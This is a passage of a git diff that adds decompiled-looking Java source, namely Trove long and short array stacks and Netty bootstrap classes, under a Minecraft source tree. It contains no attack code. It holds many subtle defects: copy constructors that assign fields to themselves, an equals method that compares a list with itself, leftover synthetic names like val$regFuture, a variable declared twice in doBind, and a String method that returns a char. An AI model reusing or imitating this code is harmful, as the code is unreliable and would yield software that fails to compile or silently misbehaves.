+  }
+  
+
+
+
+
+
+
+  public long[] toArray()
+  {
+    long[] retval = _list.toArray();
+    reverse(retval, 0, size());
+    return retval;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void toArray(long[] dest)
+  {
+    int size = size();
+    int start = size - dest.length;
+    if (start < 0) {
+      start = 0;
+    }
+    
+    int length = Math.min(size, dest.length);
+    _list.toArray(dest, start, length);
+    reverse(dest, 0, length);
+    if (dest.length > size) {
+      dest[size] = _list.getNoEntryValue();
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void reverse(long[] dest, int from, int to)
+  {
+    if (from == to) {
+      return;
+    }
+    if (from > to) {
+      throw new IllegalArgumentException("from cannot be greater than to");
+    }
+    int i = from; for (int j = to - 1; i < j; j--) {
+      swap(dest, i, j);i++;
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void swap(long[] dest, int i, int j)
+  {
+    long tmp = dest[i];
+    dest[i] = dest[j];
+    dest[j] = tmp;
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder("{");
+    for (int i = _list.size() - 1; i > 0; i--) {
+      buf.append(_list.get(i));
+      buf.append(", ");
+    }
+    if (size() > 0) {
+      buf.append(_list.get(0));
+    }
+    buf.append("}");
+    return buf.toString();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (this == o) {
+      return true;
+    }
+    if ((o == null) || (getClass() != o.getClass())) {
+      return false;
+    }
+    
+    TLongArrayStack that = (TLongArrayStack)o;
+    
+    return _list.equals(_list);
+  }
+  
+  public int hashCode()
+  {
+    return _list.hashCode();
+  }
+  
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_list);
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _list = ((TLongArrayList)in.readObject());
+  }
+}
diff --git a/src/minecraft/gnu/trove/stack/array/TShortArrayStack.java b/src/minecraft/gnu/trove/stack/array/TShortArrayStack.java
new file mode 100644
index 0000000..482dc27
--- /dev/null
+++ b/src/minecraft/gnu/trove/stack/array/TShortArrayStack.java
@@ -0,0 +1,286 @@
+package gnu.trove.stack.array;
+
+import gnu.trove.list.array.TShortArrayList;
+import gnu.trove.stack.TShortStack;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TShortArrayStack
+  implements TShortStack, Externalizable
+{
+  protected TShortArrayList _list;
+  public static final int DEFAULT_CAPACITY = 10;
+  
+  public TShortArrayStack()
+  {
+    this(10);
+  }
+  
+
+
+
+
+
+
+  public TShortArrayStack(int capacity)
+  {
+    _list = new TShortArrayList(capacity);
+  }
+  
+
+
+
+
+
+
+
+  public TShortArrayStack(int capacity, short no_entry_value)
+  {
+    _list = new TShortArrayList(capacity, no_entry_value);
+  }
+  
+
+
+
+
+
+
+  public TShortArrayStack(TShortStack stack)
+  {
+    if ((stack instanceof TShortArrayStack)) {
+      TShortArrayStack array_stack = (TShortArrayStack)stack;
+      _list = new TShortArrayList(_list);
+    } else {
+      throw new UnsupportedOperationException("Only support TShortArrayStack");
+    }
+  }
+  
+
+
+
+
+
+
+
+  public short getNoEntryValue()
+  {
+    return _list.getNoEntryValue();
+  }
+  
+
+
+
+
+
+  public void push(short val)
+  {
+    _list.add(val);
+  }
+  
+
+
+
+
+
+  public short pop()
+  {
+    return _list.removeAt(_list.size() - 1);
+  }
+  
+
+
+
+
+
+  public short peek()
+  {
+    return _list.get(_list.size() - 1);
+  }
+  
+
+
+
+  public int size()
+  {
+    return _list.size();
+  }
+  
+
+
+
+  public void clear()
+  {
+    _list.clear();
+  }
+  
+
+
+
+
+
+
+  public short[] toArray()
+  {
+    short[] retval = _list.toArray();
+    reverse(retval, 0, size());
+    return retval;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void toArray(short[] dest)
+  {
+    int size = size();
+    int start = size - dest.length;
+    if (start < 0) {
+      start = 0;
+    }
+    
+    int length = Math.min(size, dest.length);
+    _list.toArray(dest, start, length);
+    reverse(dest, 0, length);
+    if (dest.length > size) {
+      dest[size] = _list.getNoEntryValue();
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void reverse(short[] dest, int from, int to)
+  {
+    if (from == to) {
+      return;
+    }
+    if (from > to) {
+      throw new IllegalArgumentException("from cannot be greater than to");
+    }
+    int i = from; for (int j = to - 1; i < j; j--) {
+      swap(dest, i, j);i++;
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void swap(short[] dest, int i, int j)
+  {
+    short tmp = dest[i];
+    dest[i] = dest[j];
+    dest[j] = tmp;
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder("{");
+    for (int i = _list.size() - 1; i > 0; i--) {
+      buf.append(_list.get(i));
+      buf.append(", ");
+    }
+    if (size() > 0) {
+      buf.append(_list.get(0));
+    }
+    buf.append("}");
+    return buf.toString();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (this == o) {
+      return true;
+    }
+    if ((o == null) || (getClass() != o.getClass())) {
+      return false;
+    }
+    
+    TShortArrayStack that = (TShortArrayStack)o;
+    
+    return _list.equals(_list);
+  }
+  
+  public int hashCode()
+  {
+    return _list.hashCode();
+  }
+  
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_list);
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _list = ((TShortArrayList)in.readObject());
+  }
+}
diff --git a/src/minecraft/io/netty/bootstrap/AbstractBootstrap.java b/src/minecraft/io/netty/bootstrap/AbstractBootstrap.java
new file mode 100644
index 0000000..762e39e
--- /dev/null
+++ b/src/minecraft/io/netty/bootstrap/AbstractBootstrap.java
@@ -0,0 +1,475 @@
+package io.netty.bootstrap;
+
+import io.netty.channel.Channel;
+import io.netty.channel.Channel.Unsafe;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.DefaultChannelPromise;
+import io.netty.channel.EventLoop;
+import io.netty.channel.EventLoopGroup;
+import io.netty.util.AttributeKey;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.GlobalEventExecutor;
+import io.netty.util.internal.StringUtil;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.SocketAddress;
+import java.util.LinkedHashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractBootstrap<B extends AbstractBootstrap<B, C>, C extends Channel>
+  implements Cloneable
+{
+  private volatile EventLoopGroup group;
+  private volatile ChannelFactory<? extends C> channelFactory;
+  private volatile SocketAddress localAddress;
+  private final Map<ChannelOption<?>, Object> options = new LinkedHashMap();
+  private final Map<AttributeKey<?>, Object> attrs = new LinkedHashMap();
+  
+  private volatile ChannelHandler handler;
+  
+  AbstractBootstrap() {}
+  
+  AbstractBootstrap(AbstractBootstrap<B, C> bootstrap)
+  {
+    group = group;
+    channelFactory = channelFactory;
+    handler = handler;
+    localAddress = localAddress;
+    synchronized (options) {
+      options.putAll(options);
+    }
+    synchronized (attrs) {
+      attrs.putAll(attrs);
+    }
+  }
+  
+
+
+
+
+  public B group(EventLoopGroup group)
+  {
+    if (group == null) {
+      throw new NullPointerException("group");
+    }
+    if (this.group != null) {
+      throw new IllegalStateException("group set already");
+    }
+    this.group = group;
+    return this;
+  }
+  
+
+
+
+
+  public B channel(Class<? extends C> channelClass)
+  {
+    if (channelClass == null) {
+      throw new NullPointerException("channelClass");
+    }
+    return channelFactory(new BootstrapChannelFactory(channelClass));
+  }
+  
+
+
+
+
+
+
+
+  public B channelFactory(ChannelFactory<? extends C> channelFactory)
+  {
+    if (channelFactory == null) {
+      throw new NullPointerException("channelFactory");
+    }
+    if (this.channelFactory != null) {
+      throw new IllegalStateException("channelFactory set already");
+    }
+    
+    this.channelFactory = channelFactory;
+    return this;
+  }
+  
+
+
+
+
+  public B localAddress(SocketAddress localAddress)
+  {
+    this.localAddress = localAddress;
+    return this;
+  }
+  
+
+
+  public B localAddress(int inetPort)
+  {
+    return localAddress(new InetSocketAddress(inetPort));
+  }
+  
+
+
+  public B localAddress(String inetHost, int inetPort)
+  {
+    return localAddress(new InetSocketAddress(inetHost, inetPort));
+  }
+  
+
+
+  public B localAddress(InetAddress inetHost, int inetPort)
+  {
+    return localAddress(new InetSocketAddress(inetHost, inetPort));
+  }
+  
+
+
+
+
+  public <T> B option(ChannelOption<T> option, T value)
+  {
+    if (option == null) {
+      throw new NullPointerException("option");
+    }
+    if (value == null) {
+      synchronized (options) {
+        options.remove(option);
+      }
+    } else {
+      synchronized (options) {
+        options.put(option, value);
+      }
+    }
+    return this;
+  }
+  
+
+
+
+  public <T> B attr(AttributeKey<T> key, T value)
+  {
+    if (key == null) {
+      throw new NullPointerException("key");
+    }
+    if (value == null) {
+      synchronized (attrs) {
+        attrs.remove(key);
+      }
+    } else {
+      synchronized (attrs) {
+        attrs.put(key, value);
+      }
+    }
+    
+
+    B b = this;
+    return b;
+  }
+  
+
+
+
+
+  public B validate()
+  {
+    if (group == null) {
+      throw new IllegalStateException("group not set");
+    }
+    if (channelFactory == null) {
+      throw new IllegalStateException("channel or channelFactory not set");
+    }
+    return this;
+  }
+  
+
+
+
+
+
+  public abstract B clone();
+  
+
+
+
+
+  public ChannelFuture register()
+  {
+    validate();
+    return initAndRegister();
+  }
+  
+
+
+  public ChannelFuture bind()
+  {
+    validate();
+    SocketAddress localAddress = this.localAddress;
+    if (localAddress == null) {
+      throw new IllegalStateException("localAddress not set");
+    }
+    return doBind(localAddress);
+  }
+  
+
+
+  public ChannelFuture bind(int inetPort)
+  {
+    return bind(new InetSocketAddress(inetPort));
+  }
+  
+
+
+  public ChannelFuture bind(String inetHost, int inetPort)
+  {
+    return bind(new InetSocketAddress(inetHost, inetPort));
+  }
+  
+
+
+  public ChannelFuture bind(InetAddress inetHost, int inetPort)
+  {
+    return bind(new InetSocketAddress(inetHost, inetPort));
+  }
+  
+
+
+  public ChannelFuture bind(SocketAddress localAddress)
+  {
+    validate();
+    if (localAddress == null) {
+      throw new NullPointerException("localAddress");
+    }
+    return doBind(localAddress);
+  }
+  
+  private ChannelFuture doBind(final SocketAddress localAddress) {
+    final ChannelFuture regFuture = initAndRegister();
+    final Channel channel = regFuture.channel();
+    if (regFuture.cause() != null) {
+      return regFuture;
+    }
+    
+    final ChannelPromise promise;
+    if (regFuture.isDone()) {
+      ChannelPromise promise = channel.newPromise();
+      doBind0(regFuture, channel, localAddress, promise);
+    }
+    else {
+      promise = new PendingRegistrationPromise(channel, null);
+      regFuture.addListener(new ChannelFutureListener()
+      {
+        public void operationComplete(ChannelFuture future) throws Exception {
+          AbstractBootstrap.doBind0(regFuture, channel, localAddress, promise);
+        }
+      });
+    }
+    
+    return promise;
+  }
+  
+  final ChannelFuture initAndRegister() {
+    Channel channel = channelFactory().newChannel();
+    try {
+      init(channel);
+    } catch (Throwable t) {
+      channel.unsafe().closeForcibly();
+      
+      return new DefaultChannelPromise(channel, GlobalEventExecutor.INSTANCE).setFailure(t);
+    }
+    
+    ChannelFuture regFuture = group().register(channel);
+    if (regFuture.cause() != null) {
+      if (channel.isRegistered()) {
+        channel.close();
+      } else {
+        channel.unsafe().closeForcibly();
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+    return regFuture;
+  }
+  
+
+
+  abstract void init(Channel paramChannel)
+    throws Exception;
+  
+
+  private static void doBind0(ChannelFuture regFuture, final Channel channel, final SocketAddress localAddress, final ChannelPromise promise)
+  {
+    channel.eventLoop().execute(new Runnable()
+    {
+      public void run() {
+        if (val$regFuture.isSuccess()) {
+          channel.bind(localAddress, promise).addListener(ChannelFutureListener.CLOSE_ON_FAILURE);
+        } else {
+          promise.setFailure(val$regFuture.cause());
+        }
+      }
+    });
+  }
+  
+
+
+
+  public B handler(ChannelHandler handler)
+  {
+    if (handler == null) {
+      throw new NullPointerException("handler");
+    }
+    this.handler = handler;
+    return this;
+  }
+  
+  final SocketAddress localAddress() {
+    return localAddress;
+  }
+  
+  final ChannelFactory<? extends C> channelFactory() {
+    return channelFactory;
+  }
+  
+  final ChannelHandler handler() {
+    return handler;
+  }
+  
+
+
+  public final EventLoopGroup group()
+  {
+    return group;
+  }
+  
+  final Map<ChannelOption<?>, Object> options() {
+    return options;
+  }
+  
+  final Map<AttributeKey<?>, Object> attrs() {
+    return attrs;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append(StringUtil.simpleClassName(this));
+    buf.append('(');
+    if (group != null) {
+      buf.append("group: ");
+      buf.append(StringUtil.simpleClassName(group));
+      buf.append(", ");
+    }
+    if (channelFactory != null) {
+      buf.append("channelFactory: ");
+      buf.append(channelFactory);
+      buf.append(", ");
+    }
+    if (localAddress != null) {
+      buf.append("localAddress: ");
+      buf.append(localAddress);
+      buf.append(", ");
+    }
+    synchronized (options) {
+      if (!options.isEmpty()) {
+        buf.append("options: ");
+        buf.append(options);
+        buf.append(", ");
+      }
+    }
+    synchronized (attrs) {
+      if (!attrs.isEmpty()) {
+        buf.append("attrs: ");
+        buf.append(attrs);
+        buf.append(", ");
+      }
+    }
+    if (handler != null) {
+      buf.append("handler: ");
+      buf.append(handler);
+      buf.append(", ");
+    }
+    if (buf.charAt(buf.length() - 1) == '(') {
+      buf.append(')');
+    } else {
+      buf.setCharAt(buf.length() - 2, ')');
+      buf.setLength(buf.length() - 1);
+    }
+    return buf.toString();
+  }
+  
+  private static final class BootstrapChannelFactory<T extends Channel> implements ChannelFactory<T> {
+    private final Class<? extends T> clazz;
+    
+    BootstrapChannelFactory(Class<? extends T> clazz) {
+      this.clazz = clazz;
+    }
+    
+    public T newChannel()
+    {
+      try {
+        return (Channel)clazz.newInstance();
+      } catch (Throwable t) {
+        throw new ChannelException("Unable to create Channel from class " + clazz, t);
+      }
+    }
+    
+    public String toString()
+    {
+      return StringUtil.simpleClassName(clazz) + ".class";
+    }
+  }
+  
+  private static final class PendingRegistrationPromise extends DefaultChannelPromise {
+    private PendingRegistrationPromise(Channel channel) {
+      super();
+    }
+    
+    protected EventExecutor executor()
+    {
+      if (channel().isRegistered())
+      {
+
+
+
+        return super.executor();
+      }
+      
+      return GlobalEventExecutor.INSTANCE;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/bootstrap/AbstractBootstrapConfig.java b/src/minecraft/io/netty/bootstrap/AbstractBootstrapConfig.java
new file mode 100644
index 0000000..bacec81
--- /dev/null
+++ b/src/minecraft/io/netty/bootstrap/AbstractBootstrapConfig.java
@@ -0,0 +1,135 @@
+package io.netty.bootstrap;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.EventLoopGroup;
+import io.netty.util.AttributeKey;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.StringUtil;
+import java.net.SocketAddress;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractBootstrapConfig<B extends AbstractBootstrap<B, C>, C extends Channel>
+{
+  protected final B bootstrap;
+  
+  protected AbstractBootstrapConfig(B bootstrap)
+  {
+    this.bootstrap = ((AbstractBootstrap)ObjectUtil.checkNotNull(bootstrap, "bootstrap"));
+  }
+  
+
+
+  public final SocketAddress localAddress()
+  {
+    return bootstrap.localAddress();
+  }
+  
+
+
+
+  public final ChannelFactory<? extends C> channelFactory()
+  {
+    return bootstrap.channelFactory();
+  }
+  
+
+
+  public final ChannelHandler handler()
+  {
+    return bootstrap.handler();
+  }
+  
+
+
+  public final Map<ChannelOption<?>, Object> options()
+  {
+    return bootstrap.options();
+  }
+  
+
+
+  public final Map<AttributeKey<?>, Object> attrs()
+  {
+    return bootstrap.attrs();
+  }
+  
+
+
+
+  public final EventLoopGroup group()
+  {
+    return bootstrap.group();
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder().append(StringUtil.simpleClassName(this)).append('(');
+    
+
+    EventLoopGroup group = group();
+    if (group != null) {
+      buf.append("group: ").append(StringUtil.simpleClassName(group)).append(", ");
+    }
+    
+
+
+    ChannelFactory<? extends C> factory = channelFactory();
+    if (factory != null) {
+      buf.append("channelFactory: ").append(factory).append(", ");
+    }
+    
+
+    SocketAddress localAddress = localAddress();
+    if (localAddress != null) {
+      buf.append("localAddress: ").append(localAddress).append(", ");
+    }
+    
+
+
+    Map<ChannelOption<?>, Object> options = options();
+    if (!options.isEmpty()) {
+      buf.append("options: ").append(options).append(", ");
+    }
+    
+
+    Map<AttributeKey<?>, Object> attrs = attrs();
+    if (!attrs.isEmpty()) {
+      buf.append("attrs: ").append(attrs).append(", ");
+    }
+    
+
+    ChannelHandler handler = handler();
+    if (handler != null) {
+      buf.append("handler: ").append(handler).append(", ");
+    }
+    
+
+    if (buf.charAt(buf.length() - 1) == '(') {
+      buf.append(')');
+    } else {
+      buf.setCharAt(buf.length() - 2, ')');
+      buf.setLength(buf.length() - 1);
+    }
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/bootstrap/Bootstrap.java b/src/minecraft/io/netty/bootstrap/Bootstrap.java
new file mode 100644
index 0000000..065a0e3
--- /dev/null
+++ b/src/minecraft/io/netty/bootstrap/Bootstrap.java
@@ -0,0 +1,233 @@
+package io.netty.bootstrap;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.EventLoop;
+import io.netty.util.Attribute;
+import io.netty.util.AttributeKey;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.SocketAddress;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Bootstrap
+  extends AbstractBootstrap<Bootstrap, Channel>
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(Bootstrap.class);
+  private volatile SocketAddress remoteAddress;
+  
+  public Bootstrap() {}
+  
+  private Bootstrap(Bootstrap bootstrap)
+  {
+    super(bootstrap);
+    remoteAddress = remoteAddress;
+  }
+  
+
+
+
+  public Bootstrap remoteAddress(SocketAddress remoteAddress)
+  {
+    this.remoteAddress = remoteAddress;
+    return this;
+  }
+  
+
+
+  public Bootstrap remoteAddress(String inetHost, int inetPort)
+  {
+    remoteAddress = new InetSocketAddress(inetHost, inetPort);
+    return this;
+  }
+  
+
+
+  public Bootstrap remoteAddress(InetAddress inetHost, int inetPort)
+  {
+    remoteAddress = new InetSocketAddress(inetHost, inetPort);
+    return this;
+  }
+  
+
+
+  public ChannelFuture connect()
+  {
+    validate();
+    SocketAddress remoteAddress = this.remoteAddress;
+    if (remoteAddress == null) {
+      throw new IllegalStateException("remoteAddress not set");
+    }
+    
+    return doConnect(remoteAddress, localAddress());
+  }
+  
+
+
+  public ChannelFuture connect(String inetHost, int inetPort)
+  {
+    return connect(new InetSocketAddress(inetHost, inetPort));
+  }
+  
+
+
+  public ChannelFuture connect(InetAddress inetHost, int inetPort)
+  {
+    return connect(new InetSocketAddress(inetHost, inetPort));
+  }
+  
+
+
+  public ChannelFuture connect(SocketAddress remoteAddress)
+  {
+    if (remoteAddress == null) {
+      throw new NullPointerException("remoteAddress");
+    }
+    
+    validate();
+    return doConnect(remoteAddress, localAddress());
+  }
+  
+
+
+  public ChannelFuture connect(SocketAddress remoteAddress, SocketAddress localAddress)
+  {
+    if (remoteAddress == null) {
+      throw new NullPointerException("remoteAddress");
+    }
+    validate();
+    return doConnect(remoteAddress, localAddress);
+  }
+  
+
+
+  private ChannelFuture doConnect(final SocketAddress remoteAddress, final SocketAddress localAddress)
+  {
+    final ChannelFuture regFuture = initAndRegister();
+    final Channel channel = regFuture.channel();
+    if (regFuture.cause() != null) {
+      return regFuture;
+    }
+    
+    final ChannelPromise promise = channel.newPromise();
+    if (regFuture.isDone()) {
+      doConnect0(regFuture, channel, remoteAddress, localAddress, promise);
+    } else {
+      regFuture.addListener(new ChannelFutureListener()
+      {
+        public void operationComplete(ChannelFuture future) throws Exception {
+          Bootstrap.doConnect0(regFuture, channel, remoteAddress, localAddress, promise);
+        }
+      });
+    }
+    
+    return promise;
+  }
+  
+
+
+
+
+  private static void doConnect0(ChannelFuture regFuture, final Channel channel, final SocketAddress remoteAddress, final SocketAddress localAddress, final ChannelPromise promise)
+  {
+    channel.eventLoop().execute(new Runnable()
+    {
+      public void run() {
+        if (val$regFuture.isSuccess()) {
+          if (localAddress == null) {
+            channel.connect(remoteAddress, promise);
+          } else {
+            channel.connect(remoteAddress, localAddress, promise);
+          }
+          promise.addListener(ChannelFutureListener.CLOSE_ON_FAILURE);
+        } else {
+          promise.setFailure(val$regFuture.cause());
+        }
+      }
+    });
+  }
+  
+  void init(Channel channel)
+    throws Exception
+  {
+    ChannelPipeline p = channel.pipeline();
+    p.addLast(new ChannelHandler[] { handler() });
+    
+    Map<ChannelOption<?>, Object> options = options();
+    synchronized (options) {
+      for (Map.Entry<ChannelOption<?>, Object> e : options.entrySet()) {
+        try {
+          if (!channel.config().setOption((ChannelOption)e.getKey(), e.getValue())) {
+            logger.warn("Unknown channel option: " + e);
+          }
+        } catch (Throwable t) {
+          logger.warn("Failed to set a channel option: " + channel, t);
+        }
+      }
+    }
+    
+    Map<AttributeKey<?>, Object> attrs = attrs();
+    synchronized (attrs) {
+      for (Map.Entry<AttributeKey<?>, Object> e : attrs.entrySet()) {
+        channel.attr((AttributeKey)e.getKey()).set(e.getValue());
+      }
+    }
+  }
+  
+  public Bootstrap validate()
+  {
+    super.validate();
+    if (handler() == null) {
+      throw new IllegalStateException("handler not set");
+    }
+    return this;
+  }
+  
+
+  public Bootstrap clone()
+  {
+    return new Bootstrap(this);
+  }
+  
+  public String toString()
+  {
+    if (remoteAddress == null) {
+      return super.toString();
+    }
+    
+    StringBuilder buf = new StringBuilder(super.toString());
+    buf.setLength(buf.length() - 1);
+    buf.append(", remoteAddress: ");
+    buf.append(remoteAddress);
+    buf.append(')');
+    
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/bootstrap/BootstrapConfig.java b/src/minecraft/io/netty/bootstrap/BootstrapConfig.java
new file mode 100644
index 0000000..40653cb
--- /dev/null
+++ b/src/minecraft/io/netty/bootstrap/BootstrapConfig.java
@@ -0,0 +1,58 @@
+package io.netty.bootstrap;
+
+import io.netty.channel.Channel;
+import io.netty.resolver.AddressResolverGroup;
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class BootstrapConfig
+  extends AbstractBootstrapConfig<Bootstrap, Channel>
+{
+  BootstrapConfig(Bootstrap bootstrap)
+  {
+    super(bootstrap);
+  }
+  
+
+
+  public SocketAddress remoteAddress()
+  {
+    return ((Bootstrap)bootstrap).remoteAddress();
+  }
+  
+
+
+  public AddressResolverGroup<?> resolver()
+  {
+    return ((Bootstrap)bootstrap).resolver();
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder(super.toString());
+    buf.setLength(buf.length() - 1);
+    buf.append(", resolver: ").append(resolver());
+    SocketAddress remoteAddress = remoteAddress();
+    if (remoteAddress != null) {
+      buf.append(", remoteAddress: ").append(remoteAddress);
+    }
+    
+    return ')';
+  }
+}
diff --git a/src/minecraft/io/netty/bootstrap/ChannelFactory.java b/src/minecraft/io/netty/bootstrap/ChannelFactory.java
new file mode 100644
index 0000000..039cd57
--- /dev/null
+++ b/src/minecraft/io/netty/bootstrap/ChannelFactory.java
@@ -0,0 +1,8 @@
+package io.netty.bootstrap;
+
+import io.netty.channel.Channel;
+
+public abstract interface ChannelFactory<T extends Channel>
+{
+  public abstract T newChannel();
+}
diff --git a/src/minecraft/io/netty/bootstrap/ServerBootstrap.java b/src/minecraft/io/netty/bootstrap/ServerBootstrap.java
new file mode 100644
index 0000000..333ed40
--- /dev/null
+++ b/src/minecraft/io/netty/bootstrap/ServerBootstrap.java
@@ -0,0 +1,333 @@
+package io.netty.bootstrap;
+
+import io.netty.channel.Channel;
+import io.netty.channel.Channel.Unsafe;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelInboundHandlerAdapter;
+import io.netty.channel.ChannelInitializer;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.EventLoop;
+import io.netty.channel.EventLoopGroup;
+import io.netty.channel.ServerChannel;
+import io.netty.util.Attribute;
+import io.netty.util.AttributeKey;
+import io.netty.util.internal.StringUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.LinkedHashMap;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ServerBootstrap
+  extends AbstractBootstrap<ServerBootstrap, ServerChannel>
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(ServerBootstrap.class);
+  
+  private final Map<ChannelOption<?>, Object> childOptions = new LinkedHashMap();
+  private final Map<AttributeKey<?>, Object> childAttrs = new LinkedHashMap();
+  private volatile EventLoopGroup childGroup;
+  private volatile ChannelHandler childHandler;
+  
+  public ServerBootstrap() {}
+  
+  private ServerBootstrap(ServerBootstrap bootstrap) {
+    super(bootstrap);
+    childGroup = childGroup;
+    childHandler = childHandler;
+    synchronized (childOptions) {
+      childOptions.putAll(childOptions);
+    }
+    synchronized (childAttrs) {
+      childAttrs.putAll(childAttrs);
+    }
+  }
+  
+
+
+
+  public ServerBootstrap group(EventLoopGroup group)
+  {
+    return group(group, group);
+  }
+  
+
+
+
+
+  public ServerBootstrap group(EventLoopGroup parentGroup, EventLoopGroup childGroup)
+  {
+    super.group(parentGroup);
+    if (childGroup == null) {
+      throw new NullPointerException("childGroup");
+    }
+    if (this.childGroup != null) {
+      throw new IllegalStateException("childGroup set already");
+    }
+    this.childGroup = childGroup;
+    return this;
+  }
+  
+
+
+
+
+  public <T> ServerBootstrap childOption(ChannelOption<T> childOption, T value)
+  {
+    if (childOption == null) {
+      throw new NullPointerException("childOption");
+    }
+    if (value == null) {
+      synchronized (childOptions) {
+        childOptions.remove(childOption);
+      }
+    } else {
+      synchronized (childOptions) {
+        childOptions.put(childOption, value);
+      }
+    }
+    return this;
+  }
+  
+
+
+
+  public <T> ServerBootstrap childAttr(AttributeKey<T> childKey, T value)
+  {
+    if (childKey == null) {
+      throw new NullPointerException("childKey");
+    }
+    if (value == null) {
+      childAttrs.remove(childKey);
+    } else {
+      childAttrs.put(childKey, value);
+    }
+    return this;
+  }
+  
+
+
+  public ServerBootstrap childHandler(ChannelHandler childHandler)
+  {
+    if (childHandler == null) {
+      throw new NullPointerException("childHandler");
+    }
+    this.childHandler = childHandler;
+    return this;
+  }
+  
+
+
+
+  public EventLoopGroup childGroup()
+  {
+    return childGroup;
+  }
+  
+  void init(Channel channel) throws Exception
+  {
+    Map<ChannelOption<?>, Object> options = options();
+    synchronized (options) {
+      channel.config().setOptions(options);
+    }
+    
+    Map<AttributeKey<?>, Object> attrs = attrs();
+    synchronized (attrs) {
+      for (Map.Entry<AttributeKey<?>, Object> e : attrs.entrySet())
+      {
+        AttributeKey<Object> key = (AttributeKey)e.getKey();
+        channel.attr(key).set(e.getValue());
+      }
+    }
+    
+    ChannelPipeline p = channel.pipeline();
+    if (handler() != null) {
+      p.addLast(new ChannelHandler[] { handler() });
+    }
+    
+    final EventLoopGroup currentChildGroup = childGroup;
+    final ChannelHandler currentChildHandler = childHandler;
+    
+    final Map.Entry<ChannelOption<?>, Object>[] currentChildOptions;
+    synchronized (childOptions) {
+      currentChildOptions = (Map.Entry[])childOptions.entrySet().toArray(newOptionArray(childOptions.size())); }
+    Object currentChildAttrs;
+    synchronized (childAttrs) {
+      currentChildAttrs = (Map.Entry[])childAttrs.entrySet().toArray(newAttrArray(childAttrs.size()));
+    }
+    
+    p.addLast(new ChannelHandler[] { new ChannelInitializer()
+    {
+      public void initChannel(Channel ch) throws Exception {
+        ch.pipeline().addLast(new ChannelHandler[] { new ServerBootstrap.ServerBootstrapAcceptor(currentChildGroup, currentChildHandler, currentChildOptions, val$currentChildAttrs) });
+      }
+    } });
+  }
+  
+
+  public ServerBootstrap validate()
+  {
+    super.validate();
+    if (childHandler == null) {
+      throw new IllegalStateException("childHandler not set");
+    }
+    if (childGroup == null) {
+      logger.warn("childGroup is not set. Using parentGroup instead.");
+      childGroup = group();
+    }
+    return this;
+  }
+  
+  private static Map.Entry<ChannelOption<?>, Object>[] newOptionArray(int size)
+  {
+    return new Map.Entry[size];
+  }
+  
+  private static Map.Entry<AttributeKey<?>, Object>[] newAttrArray(int size)
+  {
+    return new Map.Entry[size];
+  }
+  
+  private static class ServerBootstrapAcceptor
